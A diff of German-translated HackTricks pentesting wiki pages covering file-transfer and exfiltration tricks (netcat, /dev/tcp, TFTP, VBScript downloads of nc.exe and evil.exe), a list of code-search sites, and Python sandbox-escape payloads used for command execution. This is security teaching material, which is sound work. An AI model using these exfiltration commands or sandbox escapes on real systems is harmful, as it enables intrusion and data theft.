@ -235,14 +212,14 @@ nc -vn <IP> 4444 < exfil_file
|
|||
nc -lvnp 80 > file #Inside attacker
|
||||
cat /path/file > /dev/tcp/10.10.10.10/80 #Inside victim
|
||||
```
|
||||
### Datei auf das Opfer hochladen
|
||||
### Datei an das Opfer hochladen
|
||||
```bash
|
||||
nc -w5 -lvnp 80 < file_to_send.txt # Inside attacker
|
||||
# Inside victim
|
||||
exec 6< /dev/tcp/10.10.10.10/4444
|
||||
cat <&6 > file.txt
|
||||
```
|
||||
Dank an **@BinaryShadow\_**
|
||||
danke an **@BinaryShadow\_**
|
||||
|
||||
## **ICMP**
|
||||
```bash
|
||||
|
@ -270,9 +247,9 @@ sudo python -m smtpd -n -c DebuggingServer :25
|
|||
```
|
||||
## TFTP
|
||||
|
||||
Standardmäßig in XP und 2003 (bei anderen muss es während der Installation explizit hinzugefügt werden)
|
||||
Standardmäßig in XP und 2003 (in anderen muss es während der Installation ausdrücklich hinzugefügt werden)
|
||||
|
||||
In Kali **starten Sie den TFTP-Server**:
|
||||
In Kali, **TFTP-Server starten**:
|
||||
```bash
|
||||
#I didn't get this options working and I prefer the python option
|
||||
mkdir /tftp
|
||||
|
@ -290,15 +267,11 @@ tftp -i <KALI-IP> get nc.exe
|
|||
```
|
||||
## PHP
|
||||
|
||||
Laden Sie eine Datei mit einem PHP-Oneliner herunter:
|
||||
Lade eine Datei mit einem PHP-Oneliner herunter:
|
||||
```bash
|
||||
echo "<?php file_put_contents('nameOfFile', fopen('http://192.168.1.102/file', 'r')); ?>" > down2.php
|
||||
```
|
||||
## VBScript
|
||||
|
||||
### Exfiltration
|
||||
|
||||
VBScript can be used to exfiltrate data by sending it over HTTP or HTTPS to an attacker-controlled server. This can be achieved by creating an HTTP request object, setting the request method, headers, and body, and then sending the request to the server. The server-side script should be able to receive the incoming data and log/process it as needed. This method can be used to exfiltrate sensitive information such as passwords, documents, or system configuration details.
|
||||
```bash
|
||||
Attacker> python -m SimpleHTTPServer 80
|
||||
```
|
||||
|
@ -336,14 +309,13 @@ cscript wget.vbs http://10.11.0.5/evil.exe evil.exe
|
|||
```
|
||||
## Debug.exe
|
||||
|
||||
Das Programm `debug.exe` ermöglicht nicht nur die Inspektion von Binärdateien, sondern hat auch die **Fähigkeit, sie aus Hexadezimalwerten neu zu erstellen**. Das bedeutet, dass `debug.exe`, indem es einen Hexadezimalwert einer Binärdatei bereitstellt, die Binärdatei generieren kann. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung beim Zusammenstellen von Dateien bis zu 64 KB Größe** hat.
|
||||
Das `debug.exe` Programm ermöglicht nicht nur die Inspektion von Binaries, sondern hat auch die **Fähigkeit, sie aus Hex zu rekonstruieren**. Das bedeutet, dass `debug.exe` die Binärdatei generieren kann, indem man ein Hex eines Binaries bereitstellt. Es ist jedoch wichtig zu beachten, dass debug.exe eine **Einschränkung hat, Dateien bis zu 64 kb Größe zusammenzustellen**.
|
||||
```bash
|
||||
# Reduce the size
|
||||
upx -9 nc.exe
|
||||
wine exe2bat.exe nc.exe nc.txt
|
||||
```
|
||||
```markdown
|
||||
Dann kopieren Sie den Text in die Windows-Shell, und eine Datei namens nc.exe wird erstellt.
|
||||
Dann fügen Sie den Text in die Windows-Shell ein, und eine Datei namens nc.exe wird erstellt.
|
||||
|
||||
* [https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html](https://chryzsh.gitbooks.io/pentestbook/content/transfering_files_to_windows.html)
|
||||
|
||||
|
@ -351,24 +323,17 @@ Dann kopieren Sie den Text in die Windows-Shell, und eine Datei namens nc.exe wi
|
|||
|
||||
* [https://github.com/62726164/dns-exfil](https://github.com/62726164/dns-exfil)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen Sie & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen Sie & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegramm-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories senden.
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
```
|
||||
|
|
|
@ -1,59 +1,45 @@
|
|||
# Weite Quellcodesuche
|
||||
# Weite Quellcode-Suche
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
Das Ziel dieser Seite ist es, **Plattformen aufzulisten, die das Suchen nach Code** (literal oder regex) in Tausenden/Millionen von Repos auf einer oder mehreren Plattformen ermöglichen.
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
Dies hilft in mehreren Fällen, **nach geleakten Informationen** oder nach **Schwachstellen**-Mustern zu suchen.
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Das Ziel dieser Seite ist es, **Plattformen aufzulisten, die die Suche nach Code** (literal oder regex) in Tausenden/Millionen von Repos auf einer oder mehreren Plattformen ermöglichen.
|
||||
|
||||
Dies hilft in mehreren Fällen, nach **geleakten Informationen** oder nach **Vulnerabilitätsmustern** zu suchen.
|
||||
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Suche in Millionen von Repos. Es gibt eine kostenlose Version und eine Enterprise-Version (mit 15 Tagen kostenlos). Es unterstützt Regexes.
|
||||
* [**Github-Suche**](https://github.com/search): Suche über Github. Es unterstützt Regexes.
|
||||
* [**SourceGraph**](https://sourcegraph.com/search): Suche in Millionen von Repos. Es gibt eine kostenlose Version und eine Unternehmensversion (mit 15 Tagen kostenlos). Es unterstützt Regex.
|
||||
* [**Github-Suche**](https://github.com/search): Suche auf Github. Es unterstützt Regex.
|
||||
* Vielleicht ist es auch nützlich, [**Github Code Search**](https://cs.github.com/) zu überprüfen.
|
||||
* [**Gitlab Advanced Search**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Suche in Gitlab-Projekten. Unterstützt Regexes.
|
||||
* [**Gitlab Erweiterte Suche**](https://docs.gitlab.com/ee/user/search/advanced\_search.html): Suche in Gitlab-Projekten. Unterstützt Regex.
|
||||
* [**SearchCode**](https://searchcode.com/): Suche nach Code in Millionen von Projekten.
|
||||
|
||||
{% hint style="warning" %}
|
||||
Wenn Sie in einem Repo nach Leaks suchen und etwas wie `git log -p` ausführen, vergessen Sie nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten!
|
||||
Wenn du nach Leaks in einem Repo suchst und etwas wie `git log -p` ausführst, vergiss nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten!
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS-Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP-Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Unterstützen Sie HackTricks</summary>
|
||||
<summary>Unterstütze HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,25 @@
|
|||
# Bypass Python sandboxes
|
||||
|
||||
{% hint style="success" %}
|
||||
Lernen & üben Sie AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lernen & üben Sie GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Lerne & übe GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
|
||||
* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
Dies sind einige Tricks, um die Python-Sandbox-Schutzmaßnahmen zu umgehen und beliebige Befehle auszuführen.
|
||||
|
||||
## Befehlsausführungsbibliotheken
|
||||
## Bibliotheken zur Befehlsausführung
|
||||
|
||||
Das erste, was Sie wissen müssen, ist, ob Sie Code direkt mit einer bereits importierten Bibliothek ausführen können oder ob Sie eine dieser Bibliotheken importieren könnten:
|
||||
Das erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst oder ob du eine dieser Bibliotheken importieren könntest:
|
||||
```python
|
||||
os.system("ls")
|
||||
os.popen("ls").read()
|
||||
|
@ -66,7 +58,7 @@ Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein könne
|
|||
Die **Python2 input()** Funktion ermöglicht das Ausführen von Python-Code, bevor das Programm abstürzt.
|
||||
{% endhint %}
|
||||
|
||||
Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
|
||||
Python versucht, **zuerst Bibliotheken aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'`
|
||||
|
||||
![](<../../../.gitbook/assets/image (559).png>)
|
||||
|
||||
|
@ -75,7 +67,7 @@ Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden**
|
|||
### Standardpakete
|
||||
|
||||
Hier findest du eine **Liste der vorinstallierten** Pakete: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\
|
||||
Beachte, dass du aus einem Pickle die Python-Umgebung dazu bringen kannst, **willkürliche Bibliotheken** zu importieren, die im System installiert sind.\
|
||||
Beachte, dass du aus einem Pickle die Python-Umgebung **beliebige Bibliotheken** importieren kannst, die im System installiert sind.\
|
||||
Zum Beispiel wird der folgende Pickle, wenn er geladen wird, die Pip-Bibliothek importieren, um sie zu verwenden:
|
||||
```python
|
||||
#Note that here we are importing the pip library so the pickle is created correctly
|
||||
|
@ -114,7 +106,7 @@ Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so gestaltet, dass, wenn
|
|||
Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator).
|
||||
{% endhint %}
|
||||
|
||||
Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal-/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
|
||||
Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**:
|
||||
```python
|
||||
exec("print('RCE'); __import__('os').system('ls')") #Using ";"
|
||||
exec("print('RCE')\n__import__('os').system('ls')") #Using "\n"
|
||||
|
@ -175,7 +167,7 @@ Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z.B. `raw_unicode_e
|
|||
|
||||
## Python-Ausführung ohne Aufrufe
|
||||
|
||||
Wenn Sie sich in einem Python-Gefängnis befinden, das **keine Aufrufe zulässt**, gibt es dennoch einige Möglichkeiten, **willkürliche Funktionen, Code** und **Befehle** auszuführen.
|
||||
Wenn Sie sich in einem Python-Gefängnis befinden, das **keine Aufrufe zulässt**, gibt es dennoch einige Möglichkeiten, **willkürliche Funktionen, Code** und **Befehle** **auszuführen**.
|
||||
|
||||
### RCE mit [Dekoratoren](https://docs.python.org/3/glossary.html#term-decorator)
|
||||
```python
|
||||
|
@ -316,7 +308,7 @@ __iadd__ = eval
|
|||
__builtins__.__import__ = X
|
||||
{}[1337]
|
||||
```
|
||||
### Datei mit builtins Hilfe & Lizenz lesen
|
||||
### Datei mit Builtins Hilfe & Lizenz lesen
|
||||
```python
|
||||
__builtins__.__dict__["license"]._Printer__filenames=["flag"]
|
||||
a = __builtins__.help
|
||||
|
@ -330,7 +322,7 @@ pass
|
|||
* [**Builtins-Funktionen von python2**](https://docs.python.org/2/library/functions.html)
|
||||
* [**Builtins-Funktionen von python3**](https://docs.python.org/3/library/functions.html)
|
||||
|
||||
Wenn Sie auf das **`__builtins__`**-Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde):
|
||||
Wenn Sie auf das **`__builtins__`** Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde):
|
||||
```python
|
||||
__builtins__.__import__("os").system("ls")
|
||||
__builtins__.__dict__['__import__']("os").system("ls")
|
||||
|
@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls")
|
|||
Wenn Sie `__builtins__` nicht haben, können Sie nichts importieren und auch keine Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\
|
||||
Allerdings **importiert Python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten, die genutzt werden können, um sogar **willkürliche Codeausführung** zu erlangen.
|
||||
|
||||
In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **auf** **gefährliche** **Funktionalitäten** in ihnen zuzugreifen.
|
||||
In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **gefährliche** **Funktionalitäten** in ihnen **zuzugreifen**.
|
||||
|
||||
**Python2**
|
||||
```python
|
||||
|
@ -525,7 +517,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE
|
|||
pdb:
|
||||
"""
|
||||
```
|
||||
Darüber hinaus, wenn Sie denken, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**:
|
||||
Außerdem, wenn Sie denken, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**:
|
||||
```python
|
||||
bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"]
|
||||
bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"]
|
||||
|
@ -686,11 +678,11 @@ You can check the output of this script on this page:
|
|||
|
||||
## Python Format String
|
||||
|
||||
Wenn Sie eine **Zeichenkette** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen.
|
||||
Wenn Sie eine **Zeichenkette** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um auf Globals oder Builtins zuzugreifen.
|
||||
|
||||
{% hint style="info" %}
|
||||
Es gibt jedoch eine **Einschränkung**, Sie können nur die Symbole `.[]` verwenden, sodass Sie **keinen beliebigen Code ausführen können**, sondern nur Informationen lesen.\
|
||||
_**Wenn Sie wissen, wie man durch diese Schwachstelle Code ausführt, kontaktieren Sie mich bitte.**_
|
||||
_**Wenn Sie wissen, wie man über diese Schwachstelle Code ausführt, kontaktieren Sie mich bitte.**_
|
||||
{% endhint %}
|
||||
```python
|
||||
# Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/
|
||||
|
@ -720,7 +712,7 @@ Einige andere interessante Eigenschaften von Format-Strings sind die Möglichkei
|
|||
st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}"
|
||||
get_name_for_avatar(st, people_obj = people)
|
||||
```
|
||||
Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu **codieren**:
|
||||
Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu codieren:
|
||||
```python
|
||||
class HAL9000(object):
|
||||
def __format__(self, format):
|
||||
|
@ -760,7 +752,7 @@ Wenn Sie mehr über **python bytecode** erfahren möchten, lesen Sie diesen **to
|
|||
|
||||
In einigen CTFs könnte Ihnen der Name einer **benutzerdefinierten Funktion, in der sich das Flag** befindet, bereitgestellt werden, und Sie müssen die **Interna** der **Funktion** einsehen, um es zu extrahieren.
|
||||
|
||||
Dies ist die Funktion, die untersucht werden soll:
|
||||
Dies ist die Funktion, die Sie inspizieren sollten:
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -807,7 +799,7 @@ compile("print(5)", "", "single")
|
|||
dir(get_flag.__code__)
|
||||
['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames']
|
||||
```
|
||||
### Informationen zum Code abrufen
|
||||
### Code-Information abrufen
|
||||
```python
|
||||
# Another example
|
||||
s = '''
|
||||
|
@ -906,7 +898,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0
|
|||
## Compiling Python
|
||||
|
||||
Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion, die Sie nicht ausführen können, dumpen** können, aber Sie **müssen** sie **ausführen**.\
|
||||
Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen des Disassemblierens **wissen Sie nicht, wie man das Flag berechnet** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
|
||||
Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen des Disassemblies **wissen Sie nicht, wie man das Flag berechnet** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_)
|
||||
```python
|
||||
def get_flag(some_input):
|
||||
var1=1
|
||||
|
@ -921,7 +913,7 @@ return "Nope"
|
|||
```
|
||||
### Erstellen des Code-Objekts
|
||||
|
||||
Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion zu leaken:
|
||||
Zunächst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion zu exécutieren:
|
||||
```python
|
||||
code_type = type((lambda: None).__code__)
|
||||
# Check the following hint if you get an error in calling this
|
||||
|
@ -952,7 +944,7 @@ types.CodeType.__doc__
|
|||
### Wiederherstellung einer geleakten Funktion
|
||||
|
||||
{% hint style="warning" %}
|
||||
Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt wiederherzustellen, entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **du geleakt** haben musst.
|
||||
Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt wiederherzustellen, verwenden. In einem **echten Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **du geleakt** haben musst.
|
||||
{% endhint %}
|
||||
```python
|
||||
fc = get_flag.__code__
|
||||
|
@ -1018,7 +1010,7 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann
|
|||
|
||||
### Assert
|
||||
|
||||
Python, das mit Optimierungen mit dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der von dem Wert von **debug** abhängt.\
|
||||
Python, das mit Optimierungen mit dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der vom Wert von **debug** abhängt.\
|
||||
Daher sind Überprüfungen wie
|
||||
```python
|
||||
def check_permission(super_user):
|
||||
|
@ -1039,23 +1031,18 @@ wird umgangen
|
|||
* [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html)
|
||||
* [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Lerne & übe AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
